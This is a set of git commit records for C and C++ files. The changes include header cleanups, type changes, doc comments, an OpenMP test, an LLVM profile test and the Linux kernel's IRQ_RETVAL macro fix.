{"commit":"cefd1c2ebc604434a1330ec4f8dd393bb4ad1037","old_file":"Source\/HYPFormsManager.h","new_file":"Source\/HYPFormsManager.h","old_contents":"@import Foundation;\n\n#import \"HYPFormField.h\"\n\n@interface HYPFormsManager : NSObject\n\n@property (nonatomic, strong) NSMutableArray *forms;\n@property (nonatomic, strong) NSMutableDictionary *hiddenFields;\n@property (nonatomic, strong) NSMutableDictionary *hiddenSections;\n@property (nonatomic, strong) NSArray *disabledFieldsIDs;\n@property (nonatomic, strong) NSMutableDictionary *values;\n\n- (instancetype)initWithJSON:(id)JSON\n               initialValues:(NSDictionary *)initialValues\n            disabledFieldIDs:(NSArray *)disabledFieldIDs\n                    disabled:(BOOL)disabled;\n\n- (instancetype)initWithForms:(NSMutableArray *)forms\n                initialValues:(NSDictionary *)initialValues;\n\n- (NSArray *)invalidFormFields;\n\n- (NSDictionary *)requiredFormFields;\n\n- (NSMutableDictionary *)valuesForFormula:(HYPFormField *)field;\n\n- (HYPFormField *)fieldWithID:(NSString *)fieldID\n                withIndexPath:(BOOL)withIndexPath;\n\n- (HYPFormField *)fieldWithID:(NSString *)fieldID\n                withIndexPath:(BOOL)withIndexPath\n                      inForms:(NSArray *)forms;\n\n@end\n","new_contents":"@import Foundation;\n\n#import \"HYPFormField.h\"\n\n@interface HYPFormsManager : NSObject\n\n@property (nonatomic, strong) NSMutableArray *forms;\n@property (nonatomic, strong) NSMutableDictionary *hiddenFields;\n@property (nonatomic, strong) NSMutableDictionary *hiddenSections;\n@property (nonatomic, strong) NSArray *disabledFieldsIDs;\n@property (nonatomic, strong) NSMutableDictionary *values;\n\n- (instancetype)initWithJSON:(id)JSON\n               initialValues:(NSDictionary *)initialValues\n            disabledFieldIDs:(NSArray *)disabledFieldIDs\n                    disabled:(BOOL)disabled;\n\n- (instancetype)initWithForms:(NSMutableArray *)forms\n                initialValues:(NSDictionary *)initialValues;\n\n- (NSArray *)invalidFormFields;\n\n- (NSDictionary *)requiredFormFields;\n\n- (NSMutableDictionary *)valuesForFormula:(HYPFormField *)field;\n\n- (HYPFormField *)fieldWithID:(NSString *)fieldID\n                withIndexPath:(BOOL)withIndexPath;\n\n@end\n","subject":"Remove fieldWithID:withIndexPath:inForms: from public header","message":"Remove fieldWithID:withIndexPath:inForms: from public header\n","lang":"C","license":"mit","repos":"KevinJacob\/Form,0x73\/Form,wangmb\/Form,Jamonek\/Form,Jamonek\/Form,0x73\/Form,wangmb\/Form,KevinJacob\/Form,Jamonek\/Form,fhchina\/Form,kalsariyac\/Form,wangmb\/Form,KevinJacob\/Form,steve21124\/Form,steve21124\/Form,kalsariyac\/Form,fhchina\/Form,kalsariyac\/Form,steve21124\/Form,fhchina\/Form"}
{"commit":"829b6a1e37d7edc599d146618905fb878dd547ee","old_file":"cvrp\/customer.h","new_file":"cvrp\/customer.h","old_contents":"#ifndef VRPSOLVER_CUSTOMER_H\n#define VRPSOLVER_CUSTOMER_H\n\nnamespace VrpSolver {\n\n    class Customer {\n    public:\n        Customer(unsigned int id, std::size_t demand)\n            : id_(id), demand_(demand) {}\n\n        unsigned int id() const {\n            return id_;\n        }\n\n        std::size_t demand() const {\n            return demand_;\n        }\n\n    private:\n        Customer();\n        unsigned int id_;\n        std::size_t demand_;\n    };\n\n} \/\/ namespace VrpSolver\n\n#endif \/\/ VRPSOLVER_CUSTOMER_H\n","new_contents":"#ifndef VRPSOLVER_CUSTOMER_H\n#define VRPSOLVER_CUSTOMER_H\n\nnamespace VrpSolver {\n\n    class Customer {\n    public:\n        Customer(std::size_t id, std::size_t demand)\n            : id_(id), demand_(demand) {}\n\n        std::size_t id() const {\n            return id_;\n        }\n\n        std::size_t demand() const {\n            return demand_;\n        }\n\n    private:\n        Customer();\n        std::size_t id_;\n        std::size_t demand_;\n    };\n\n} \/\/ namespace VrpSolver\n\n#endif \/\/ VRPSOLVER_CUSTOMER_H\n","subject":"Change the type of Customer::id to std::size_t","message":"Change the type of Customer::id to std::size_t\n","lang":"C","license":"mit","repos":"U-MA\/cvrp,U-MA\/cvrp"}
{"commit":"0decd1c40a34be040381594fd396baee29c14868","old_file":"Pbind\/Classes\/Client\/_PBRequest.h","new_file":"Pbind\/Classes\/Client\/_PBRequest.h","old_contents":"\/\/\n\/\/  PBRequest.h\n\/\/  Pbind <https:\/\/github.com\/wequick\/Pbind>\n\/\/\n\/\/  Created by galen on 15\/2\/12.\n\/\/  Copyright (c) 2015-present, Wequick.net. All rights reserved.\n\/\/\n\/\/  This source code is licensed under the MIT-style license found in the\n\/\/  LICENSE file in the root directory of this source tree.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n An instance of PBRequest defines the base factors of fetching a data.\n \n @discussion Cause the private ProtocolBuffer.framework use the same class name,\n we had to rename it as _PBRequest, but owe to the ability of `@compatibility_alias` annotation,\n we can also use PBRequest in our source code.\n *\/\n@interface _PBRequest : NSObject\n\n@property (nonatomic, strong) NSString *action; \/\/ Interface action.\n@property (nonatomic, strong) NSString *method; \/\/ Interface action.\n@property (nonatomic, strong) NSDictionary *params; \/\/ Major params.\n@property (nonatomic, strong) NSDictionary *extParams; \/\/ Minor params.\n\n\/**\n Whether the response data should be mutable, default is NO.\n \n @discussion if set to YES then will convert all the response data from NSDictionary to PBDictionary in nested.\n *\/\n@property (nonatomic, assign) BOOL requiresMutableResponse;\n\n@end\n\n@compatibility_alias PBRequest _PBRequest;\n","new_contents":"\/\/\n\/\/  PBRequest.h\n\/\/  Pbind <https:\/\/github.com\/wequick\/Pbind>\n\/\/\n\/\/  Created by galen on 15\/2\/12.\n\/\/  Copyright (c) 2015-present, Wequick.net. All rights reserved.\n\/\/\n\/\/  This source code is licensed under the MIT-style license found in the\n\/\/  LICENSE file in the root directory of this source tree.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n An instance of PBRequest defines the base factors of fetching a data.\n \n @discussion Cause the private ProtocolBuffer.framework use the same class name,\n we had to rename it as _PBRequest, but owe to the ability of `@compatibility_alias` annotation,\n we can also use PBRequest in our source code.\n *\/\n@interface _PBRequest : NSObject\n\n\/**\n The API name for the request.\n *\/\n@property (nonatomic, strong) NSString *action;\n\n\/**\n The method for the request which defined in RESTFul way.\n \n @discussion Include:\n - get\n - post\n - put\n - patch\n - delete\n *\/\n@property (nonatomic, strong) NSString *method;\n\n\/**\n The parameters for the request.\n *\/\n@property (nonatomic, strong) NSDictionary *params;\n\n\/**\n Whether the response data should be mutable, default is NO.\n \n @discussion if set to YES then will convert all the response data from NSDictionary to PBDictionary in nested.\n *\/\n@property (nonatomic, assign) BOOL requiresMutableResponse;\n\n@end\n\n@compatibility_alias PBRequest _PBRequest;\n","subject":"Add comments for header file","message":"Add comments for header file\n","lang":"C","license":"mit","repos":"wequick\/Pbind,wequick\/Pbind,wequick\/Pbind"}
{"commit":"7e608001d3125713d007e00b1b08f71abe6d48d4","old_file":"parameters.h","new_file":"parameters.h","old_contents":"#ifndef __MY_PARAMETERS_H__\n#define __MY_PARAMETERS_H__\n\n#define USE_GCLOCK\n#define PER_CPU\n\nconst int AIO_DEPTH_PER_FILE = 32;\n\nconst int IO_QUEUE_SIZE = AIO_DEPTH_PER_FILE * 5;\nconst int MAX_FETCH_REQS = AIO_DEPTH_PER_FILE;\nconst int MSG_SEND_BUF_SIZE = 10;\n\n\/**\n * The number of requests issued by user applications\n * in one access.\n *\/\nconst int NUM_REQS_BY_USER = 100;\n\n\/**\n * The initial size of the queue for pending IO requests\n * in the global cache.\n *\/\nconst int INIT_GCACHE_PENDING_SIZE = NUM_REQS_BY_USER * 10;\n\n\/**\n * The min size of IO vector allocated for an IO request..\n *\/\nconst int MIN_NUM_ALLOC_IOVECS = 16;\nconst int NUM_EMBEDDED_IOVECS = 1;\n\n\/**\n * The maximal size of IO vector issued by the global cache.\n * The experiment shows AIO with 16 pages in a request can achieve\n * the best performance.\n *\/\nconst int MAX_NUM_IOVECS = 16;\n\n#endif\n","new_contents":"#ifndef __MY_PARAMETERS_H__\n#define __MY_PARAMETERS_H__\n\n#define USE_GCLOCK\n#define PER_CPU\n\nconst int AIO_DEPTH_PER_FILE = 32;\n\nconst int IO_QUEUE_SIZE = AIO_DEPTH_PER_FILE * 5;\nconst int MAX_FETCH_REQS = AIO_DEPTH_PER_FILE;\nconst int MSG_SEND_BUF_SIZE = 10;\n\n\/**\n * The number of requests issued by user applications\n * in one access.\n *\/\nconst int NUM_REQS_BY_USER = 100;\n\n\/**\n * The initial size of the queue for pending IO requests\n * in the global cache.\n *\/\nconst int INIT_GCACHE_PENDING_SIZE = NUM_REQS_BY_USER * 100;\n\n\/**\n * The min size of IO vector allocated for an IO request..\n *\/\nconst int MIN_NUM_ALLOC_IOVECS = 16;\nconst int NUM_EMBEDDED_IOVECS = 1;\n\n\/**\n * The maximal size of IO vector issued by the global cache.\n * The experiment shows AIO with 16 pages in a request can achieve\n * the best performance.\n *\/\nconst int MAX_NUM_IOVECS = 16;\n\n#endif\n","subject":"Increase the default pending IO queue size in global cache.","message":"Increase the default pending IO queue size in global cache.\n","lang":"C","license":"apache-2.0","repos":"icoming\/FlashX,icoming\/FlashGraph,zheng-da\/FlashX,icoming\/FlashX,silky\/FlashGraph,flashxio\/FlashX,flashxio\/FlashX,icoming\/FlashGraph,flashxio\/FlashX,flashxio\/FlashX,zheng-da\/FlashX,icoming\/FlashGraph,silky\/FlashGraph,flashxio\/FlashX,flashxio\/FlashX,icoming\/FlashGraph,icoming\/FlashX,silky\/FlashGraph,silky\/FlashGraph,icoming\/FlashX,zheng-da\/FlashX,icoming\/FlashGraph,zheng-da\/FlashX,zheng-da\/FlashX,icoming\/FlashX,silky\/FlashGraph"}
{"commit":"d704bbb47a97d087245552a1f28053bf167bd8f4","old_file":"rbcoremidi.c","new_file":"rbcoremidi.c","old_contents":"\/*\n *  rbcoremidi.c\n *  rbcoremidi\n *\n *  Created by cypher on 15.07.08.\n *  Copyright 2008 Nuclear Squid. All rights reserved.\n *\n *\/\n\n#include <ruby.h>\n\n\nVALUE crbCoreMidi;\n\nvoid Init_rbcoremidi (void)\n{\n  \/\/ Add the initialization code of your module here.\n}\n","new_contents":"\/*\n *  Copyright 2008 Markus Prinz\n *  Released unter an MIT licence\n *\n *\/\n\n#include <ruby.h>\n\n\nVALUE crbCoreMidi;\n\nvoid Init_rbcoremidi (void)\n{\n  \/\/ Add the initialization code of your module here.\n}\n","subject":"Update header + licence information","message":"Update header + licence information\n","lang":"C","license":"mit","repos":"cypher\/rbcoremidi,cypher\/rbcoremidi"}
{"commit":"8d4224fd16a6c8729e534919aac6d1a9eac3c6e9","old_file":"mkchld.c","new_file":"mkchld.c","old_contents":"#include <assert.h>\n#include <errno.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <stdlib.h>\n\nint\nmain(int argc, char **argv)\n{\n    pid_t pid;\n\n    assert(argc > 0);\n\n    if (argc < 2) {\n        printf(\"usage: %s command [arguments...]\\n\", argv[0]);\n        return 1;\n    }\n\n    pid = fork();\n    if (pid < 0) {\n        perror(\"fork\");\n        return 1;\n    }\n\n    if (pid == 0) {\n        execvp(argv[1], argv + 1);\n        perror(\"execvp\");\n        return 1;\n    }\n\n    assert(pid > 0);\n\n    if (wait(NULL) != pid) {\n        perror(\"wait\");\n        return 1;\n    }\n\n    return 0;\n}\n","new_contents":"#include <assert.h>\n#include <errno.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <stdlib.h>\n\nint\nmain(int argc, char **argv)\n{\n    pid_t pid;\n\n    assert(argc > 0);\n\n    if (argc < 2) {\n        printf(\"usage: %s command [arguments...]\\n\", argv[0]);\n        return 1;\n    }\n\n    pid = fork();\n    if (pid < 0) {\n        perror(\"fork\");\n        return 1;\n    }\n\n    if (pid == 0) {\n        execvp(argv[1], argv + 1);\n        perror(argv[1]);\n        return 1;\n    }\n\n    assert(pid > 0);\n\n    if (wait(NULL) != pid) {\n        perror(\"wait\");\n        return 1;\n    }\n\n    return 0;\n}\n","subject":"Update execvp error message on file not found","message":"Update execvp error message on file not found\n","lang":"C","license":"mit","repos":"joeljk13\/mkchild"}
{"commit":"6f16758e72150da6b2d98d8fab9fff35ab0777e7","old_file":"src\/dawn\/Unittest\/UnittestLogger.h","new_file":"src\/dawn\/Unittest\/UnittestLogger.h","old_contents":"\/\/===--------------------------------------------------------------------------------*- C++ -*-===\/\/\n\/\/                          _\n\/\/                         | |\n\/\/                       __| | __ ___      ___ ___\n\/\/                      \/ _` |\/ _` \\ \\ \/\\ \/ \/ '_  |\n\/\/                     | (_| | (_| |\\ V  V \/| | | |\n\/\/                      \\__,_|\\__,_| \\_\/\\_\/ |_| |_| - Compiler Toolchain\n\/\/\n\/\/\n\/\/  This file is distributed under the MIT License (MIT).\n\/\/  See LICENSE.txt for details.\n\/\/\n\/\/===------------------------------------------------------------------------------------------===\/\/\n\n#ifndef DAWN_UNITTEST_UNITTESTLOGGER_H\n#define DAWN_UNITTEST_UNITTESTLOGGER_H\n\n#include \"dawn\/Support\/Logging.h\"\n\nnamespace dawn {\n\n\/\/\/ @brief Simple logger to std::cout for debugging purposes\nclass UnittestLogger : public LoggerInterface {\npublic:\n  void log(LoggingLevel level, const std::string& message, const char* file, int line) override;\n};\n\n} \/\/ namespace dawn\n\n#endif\n","new_contents":"\/\/===--------------------------------------------------------------------------------*- C++ -*-===\/\/\n\/\/                          _\n\/\/                         | |\n\/\/                       __| | __ ___      ___ ___\n\/\/                      \/ _` |\/ _` \\ \\ \/\\ \/ \/ '_  |\n\/\/                     | (_| | (_| |\\ V  V \/| | | |\n\/\/                      \\__,_|\\__,_| \\_\/\\_\/ |_| |_| - Compiler Toolchain\n\/\/\n\/\/\n\/\/  This file is distributed under the MIT License (MIT).\n\/\/  See LICENSE.txt for details.\n\/\/\n\/\/===------------------------------------------------------------------------------------------===\/\/\n\n#ifndef DAWN_UNITTEST_UNITTESTLOGGER_H\n#define DAWN_UNITTEST_UNITTESTLOGGER_H\n\n#include \"dawn\/Support\/Logging.h\"\n\nnamespace dawn {\n\n\/\/\/ @brief Simple logger to `std::cout` for debugging purposes\n\/\/\/ @ingroup unittest\nclass UnittestLogger : public LoggerInterface {\npublic:\n  void log(LoggingLevel level, const std::string& message, const char* file, int line) override;\n};\n\n} \/\/ namespace dawn\n\n#endif\n","subject":"Add unittest to unittest group in doxygen","message":"Add unittest to unittest group in doxygen\n\n","lang":"C","license":"mit","repos":"twicki\/dawn,twicki\/dawn,twicki\/dawn,MeteoSwiss-APN\/dawn,MeteoSwiss-APN\/dawn,twicki\/dawn,MeteoSwiss-APN\/dawn"}
{"commit":"79337800123739d13f1e05d7e52458f6fac33f76","old_file":"qtssh\/sshfilesystemmodel.h","new_file":"qtssh\/sshfilesystemmodel.h","old_contents":"#pragma once\n\n#include <QObject>\n#include <QAbstractItemModel>\n#include <QHash>\n\nclass SshSFtp;\nclass SshFilesystemNode;\n\nclass SshFilesystemModel : public QAbstractItemModel\n{\n    SshSFtp *m_provider;\n    SshFilesystemNode *m_rootItem;\n    QModelIndex m_root;\n    QHash<int, QByteArray> m_roles;\n\npublic:\n    enum Roles {\n        FileIconRole = Qt::DecorationRole,\n        FilePathRole = Qt::UserRole + 1,\n        FileNameRole = Qt::UserRole + 2,\n        FilePermissions = Qt::UserRole + 3\n    };\n\n    SshFilesystemModel(SshSFtp *provider);\n\n    \/\/ Basic functionality:\n    QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const;\n    QModelIndex parent(const QModelIndex &index) const;\n    int rowCount(const QModelIndex &index = QModelIndex()) const;\n    int columnCount(const QModelIndex &parent = QModelIndex()) const;\n    QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const;\n    QHash<int, QByteArray> roleNames() const;\n\n    void setRootPath(QString root = \"\/\");\n};\n","new_contents":"#pragma once\n\n#include <QObject>\n#include <QAbstractItemModel>\n#include <QHash>\n\nclass SshSFtp;\nclass SshFilesystemNode;\n\nclass SshFilesystemModel : public QAbstractItemModel\n{\n    SshSFtp *m_provider;\n    SshFilesystemNode *m_rootItem;\n    QModelIndex m_root;\n    QHash<int, QByteArray> m_roles;\n\npublic:\n    enum Roles {\n        FileNameRole = Qt::UserRole + 1,\n        FilePathRole = Qt::UserRole + 2,\n        FileBaseNameRole = Qt::UserRole + 3,\n        FileSuffixRole = Qt::UserRole + 4,\n        FileSizeRole = Qt::UserRole + 5,\n        FileLastModifiedRole = Qt::UserRole + 6,\n        FileLastReadRole = Qt::UserRole +7,\n        FileIsDirRole = Qt::UserRole + 8,\n        FileUrlRole = Qt::UserRole + 9\n    };\n\n    SshFilesystemModel(SshSFtp *provider);\n\n    \/\/ Basic functionality:\n    QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const;\n    QModelIndex parent(const QModelIndex &index) const;\n    int rowCount(const QModelIndex &index = QModelIndex()) const;\n    int columnCount(const QModelIndex &parent = QModelIndex()) const;\n    QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const;\n    QHash<int, QByteArray> roleNames() const;\n\n    void setRootPath(QString root = \"\/\");\n};\n","subject":"Use same Roles as QQuickFolderListModel","message":"SshFilesystemModel: Use same Roles as QQuickFolderListModel\n","lang":"C","license":"bsd-3-clause","repos":"condo4\/QtSsh"}
{"commit":"c2d5ab6940fb1d93bcec22278f066f9429fa669a","old_file":"templates\/ComponentsEntities.h","new_file":"templates\/ComponentsEntities.h","old_contents":"\/\/ THIS FILE IS AUTO GENERATED, EDIT AT YOUR OWN RISK\n\n\/\/% L\n\n#ifndef COMPONENTS_ENTITIES_H_\n#define COMPONENTS_ENTITIES_H_\n\n\/\/% L\n\n#include \"Components.h\"\n\n\/\/% L\n\n{% for component in components %}\n    #include \"{{component.get_type_name()}}.h\"\n{% endfor %}\n\n\/\/% L\n\/\/ Entity definitions\n\/\/% L\n\n{% for entity in entities %}\n\n    \/\/% L\n    \/\/ Definition of {{entity.get_type_name()}}\n    \/\/% L\n\n    class {{entity.get_type_name()}}: public Entity {\n            \/\/* The vtables for each entities are statically defined\n            static const MessageHandler messageHandlers[];\n            static const int componentOffsets[];\n\n            \/\/% L\n\n        public:\n            \/\/* Default constructor\n            {{entity.get_type_name()}}(\n                {% for (i, attrib) in enumerate(general.common_entity_attributes) %}\n                    {% if i != 0 %}, {% endif %} {{attrib.get_declaration()}}\n                {% endfor %}\n            );\n            virtual ~{{entity.get_type_name()}}();\n\n            \/\/% L\n\n            \/\/* The components\n            {% for component in entity.get_components() %}\n                {{component.get_type_name()}} {{component.get_variable_name()}};\n            {% endfor %}\n    };\n    \/\/% L\n{% endfor %}\n\n\/\/% LL\n\n#endif \/\/ COMPONENTS_ENTITIES_H_\n\n\/\/% L\n","new_contents":"\/\/ THIS FILE IS AUTO GENERATED, EDIT AT YOUR OWN RISK\n\n\/\/% L\n\n#ifndef COMPONENTS_ENTITIES_H_\n#define COMPONENTS_ENTITIES_H_\n\n\/\/% L\n\n#include \"Components.h\"\n#include \"ComponentImplementationInclude.h\"\n\n\/\/% L\n\/\/ Entity definitions\n\/\/% L\n\n{% for entity in entities %}\n\n    \/\/% L\n    \/\/ Definition of {{entity.get_type_name()}}\n    \/\/% L\n\n    class {{entity.get_type_name()}}: public Entity {\n            \/\/* The vtables for each entities are statically defined\n            static const MessageHandler messageHandlers[];\n            static const int componentOffsets[];\n\n            \/\/% L\n\n        public:\n            \/\/* Default constructor\n            {{entity.get_type_name()}}(\n                {% for (i, attrib) in enumerate(general.common_entity_attributes) %}\n                    {% if i != 0 %}, {% endif %} {{attrib.get_declaration()}}\n                {% endfor %}\n            );\n            virtual ~{{entity.get_type_name()}}();\n\n            \/\/% L\n\n            \/\/* The components\n            {% for component in entity.get_components() %}\n                {{component.get_type_name()}} {{component.get_variable_name()}};\n            {% endfor %}\n    };\n    \/\/% L\n{% endfor %}\n\n\/\/% LL\n\n#endif \/\/ COMPONENTS_ENTITIES_H_\n\n\/\/% L\n","subject":"Include the component implementation include helper instead of the individual components in Components.h.","message":"Include the component implementation include helper instead of the individual components in Components.h.\n","lang":"C","license":"bsd-3-clause","repos":"DaemonDevelopers\/CBSE-Toolchain,DaemonDevelopers\/CBSE-Toolchain,DaemonDevelopers\/CBSE-Toolchain"}
{"commit":"fea1a1cd1a8b4fd215f58f844f2b1e4702e694d7","old_file":"runtime\/test\/misc_bugs\/many-microtask-args.c","new_file":"runtime\/test\/misc_bugs\/many-microtask-args.c","old_contents":"","new_contents":"\/\/ RUN: %libomp-compile-and-run\n#include <stdio.h>\n\nint main()\n{\n\n  int i1 = 0;\n  int i2 = 1;\n  int i3 = 2;\n  int i4 = 3;\n  int i5 = 4;\n  int i6 = 6;\n  int i7 = 7;\n  int i8 = 8;\n  int i9 = 9;\n  int i10 = 10;\n  int i11 = 11;\n  int i12 = 12;\n  int i13 = 13;\n  int i14 = 14;\n  int i15 = 15;\n  int i16 = 16;\n \n  int r = 0; \n  #pragma omp parallel for firstprivate(i1, i2, i3, i4, i5, i6, i7, i8, i9, i10, i11, i12, i13, i14, i15, i16) reduction(+:r)\n  for (int i = 0; i < i16; i++) {\n    r += i + i1 + i2 + i3 + i4 + i5 + i6 + i7 + i8 + i9 + i10 + i11 + i12 + i13 + i14 + i15 + i16;\n  }\n\n  int rf = 2216;\n  if (r != rf) {\n    fprintf(stderr, \"r should be %d but instead equals %d\\n\", rf, r);\n    return 1;\n  }\n\n  return 0;\n}\n\n","subject":"Add a test case for microtask dispatch with many arguments","message":"Add a test case for microtask dispatch with many arguments\n\nThis is a cleaned-up version of the test case posted in the D19879 review.\n\ngit-svn-id: f99161ee8ccfe2101cbe1bdda2220bce2ed25485@270867 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp,llvm-mirror\/openmp"}
{"commit":"1a266ba95249e635f44b78edcede6444940ba17c","old_file":"test\/profile\/instrprof-error.c","new_file":"test\/profile\/instrprof-error.c","old_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: touch %t.profraw\n\/\/ RUN: chmod -w %t.profraw\n\/\/ RUN: env LLVM_PROFILE_FILE=%t.profraw LLVM_PROFILE_VERBOSE_ERRORS=1 %run %t 1 2>&1 | FileCheck %s\n\/\/ RUN: chmod +w %t.profraw\n\nint main(int argc, const char *argv[]) {\n  if (argc < 2)\n    return 1;\n  return 0;\n}\n\/\/ CHECK: LLVM Profile: Failed to write file \n","new_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=\"\/\" LLVM_PROFILE_VERBOSE_ERRORS=1 %run %t 1 2>&1 | FileCheck %s\n\nint main(int argc, const char *argv[]) {\n  if (argc < 2)\n    return 1;\n  return 0;\n}\n\/\/ CHECK: LLVM Profile: Failed to write file \n","subject":"Make a test work if run by the super-user","message":"[profile] Make a test work if run by the super-user\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@264773 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"4bd83c842ab1cdc7245b2a6f78ca63047aa4062f","old_file":"AFToolkit\/ObjectProvider\/AFObjectModel.h","new_file":"AFToolkit\/ObjectProvider\/AFObjectModel.h","old_contents":"\n\n#pragma mark Forward Declarations\n\n@class AFObjectProvider;\n\n\n#pragma mark Type Definitions\n\ntypedef void (^AFObjectUpdateBlock)(AFObjectProvider *provider, id object, NSDictionary *values);\n\ntypedef id (^AFObjectCreateBlock)(AFObjectProvider *provider, NSDictionary *values);\n\n\n#pragma mark - Class Interface\n\n@interface AFObjectModel : NSObject\n\n\n#pragma mark - Properties\n\n@property (nonatomic, strong) Class myClass;\n@property (nonatomic, copy) NSArray *idProperties;\n\n@property (nonatomic, copy) NSDictionary *propertyKeyMap;\n@property (nonatomic, copy) NSDictionary *collectionTypeMap;\n\n@property (nonatomic, copy) AFObjectUpdateBlock updateBlock;\n@property (nonatomic, copy) AFObjectCreateBlock createBlock;\n\n\n#pragma mark - Constructors\n\n- (id)initWithClass: (Class)myClass\n\tidProperties: (NSArray *)idProperties\n\tpropertyKeyMap: (NSDictionary *)propertyKeyMap\n\tcollectionTypeMap: (NSDictionary *)collectionTypeMap\n\tupdateBlock: (AFObjectUpdateBlock)updateBlock\n\tcreateBlock: (AFObjectCreateBlock)createBlock;\n\n\n#pragma mark - Static Methods\n\n+ (id)objectModelWithClass: (Class)myClass\n\tidProperties: (NSArray *)idProperties\n\tpropertyKeyMap: (NSDictionary *)propertyKeyMap\n\tcollectionTypeMap: (NSDictionary *)collectionTypeMap\n\tupdateBlock: (AFObjectUpdateBlock)updateBlock\n\tcreateBlock: (AFObjectCreateBlock)createBlock;\n\n\n@end \/\/ @interface AFObjectModel","new_contents":"\n\n#pragma mark Forward Declarations\n\n@class AFObjectProvider;\n\n\n#pragma mark Type Definitions\n\ntypedef void (^AFObjectUpdateBlock)(id provider, id object, NSDictionary *values);\n\ntypedef id (^AFObjectCreateBlock)(id provider, NSDictionary *values);\n\n\n#pragma mark - Class Interface\n\n@interface AFObjectModel : NSObject\n\n\n#pragma mark - Properties\n\n@property (nonatomic, strong) Class myClass;\n@property (nonatomic, copy) NSArray *idProperties;\n\n@property (nonatomic, copy) NSDictionary *propertyKeyMap;\n@property (nonatomic, copy) NSDictionary *collectionTypeMap;\n\n@property (nonatomic, copy) AFObjectUpdateBlock updateBlock;\n@property (nonatomic, copy) AFObjectCreateBlock createBlock;\n\n\n#pragma mark - Constructors\n\n- (id)initWithClass: (Class)myClass\n\tidProperties: (NSArray *)idProperties\n\tpropertyKeyMap: (NSDictionary *)propertyKeyMap\n\tcollectionTypeMap: (NSDictionary *)collectionTypeMap\n\tupdateBlock: (AFObjectUpdateBlock)updateBlock\n\tcreateBlock: (AFObjectCreateBlock)createBlock;\n\n\n#pragma mark - Static Methods\n\n+ (id)objectModelWithClass: (Class)myClass\n\tidProperties: (NSArray *)idProperties\n\tpropertyKeyMap: (NSDictionary *)propertyKeyMap\n\tcollectionTypeMap: (NSDictionary *)collectionTypeMap\n\tupdateBlock: (AFObjectUpdateBlock)updateBlock\n\tcreateBlock: (AFObjectCreateBlock)createBlock;\n\n\n@end \/\/ @interface AFObjectModel","subject":"Update update and create block signatures.","message":"Update update and create block signatures.\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"}
{"commit":"6bab2c613d7fa70bb8514f89ab7455ede717142b","old_file":"include\/linux\/irqreturn.h","new_file":"include\/linux\/irqreturn.h","old_contents":"#ifndef _LINUX_IRQRETURN_H\n#define _LINUX_IRQRETURN_H\n\n\/**\n * enum irqreturn\n * @IRQ_NONE\t\tinterrupt was not from this device\n * @IRQ_HANDLED\t\tinterrupt was handled by this device\n * @IRQ_WAKE_THREAD\thandler requests to wake the handler thread\n *\/\nenum irqreturn {\n\tIRQ_NONE\t\t= (0 << 0),\n\tIRQ_HANDLED\t\t= (1 << 0),\n\tIRQ_WAKE_THREAD\t\t= (1 << 1),\n};\n\ntypedef enum irqreturn irqreturn_t;\n#define IRQ_RETVAL(x)\t((x) != IRQ_NONE)\n\n#endif\n","new_contents":"#ifndef _LINUX_IRQRETURN_H\n#define _LINUX_IRQRETURN_H\n\n\/**\n * enum irqreturn\n * @IRQ_NONE\t\tinterrupt was not from this device\n * @IRQ_HANDLED\t\tinterrupt was handled by this device\n * @IRQ_WAKE_THREAD\thandler requests to wake the handler thread\n *\/\nenum irqreturn {\n\tIRQ_NONE\t\t= (0 << 0),\n\tIRQ_HANDLED\t\t= (1 << 0),\n\tIRQ_WAKE_THREAD\t\t= (1 << 1),\n};\n\ntypedef enum irqreturn irqreturn_t;\n#define IRQ_RETVAL(x)\t((x) ? IRQ_HANDLED : IRQ_NONE)\n\n#endif\n","subject":"Correct fuzzy and fragile IRQ_RETVAL() definition","message":"genirq: Correct fuzzy and fragile IRQ_RETVAL() definition\n\ncommit bedd30d986a0 (\"genirq: make irqreturn_t an enum\") blindly replaced\n\"0\" by \"IRQ_NONE\" in the \"IRQ_RETVAL(x)\" macro definition.\n\nHowever, as \"x\" is a condition, \"0\" meant \"boolean false\", not an\nirqreturn_t value.\n\nAll of this worked, and kept working after the addition of IRQ_WAKE_THREAD,\nas\n  - both \"boolean false\" and \"IRQ_NONE\" are \"0\" (for the comparison),\n  - \"boolean true\" and \"boolean false\" nicely map to the correct values of\n    \"IRQ_HANDLED\" and \"IRQ_NONE\" (for the return value).\n\nCorrect the macro definition for clarity and future-proofness.\n\nSigned-off-by: Geert Uytterhoeven <0da414d9d963da4039c2a0525b1844228075aa58@linux-m68k.org>\nSigned-off-by: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@linux-foundation.org>\nSigned-off-by: Thomas Gleixner <00e4cf8f46a57000a44449bf9dd8cbbcc209fd2a@linutronix.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
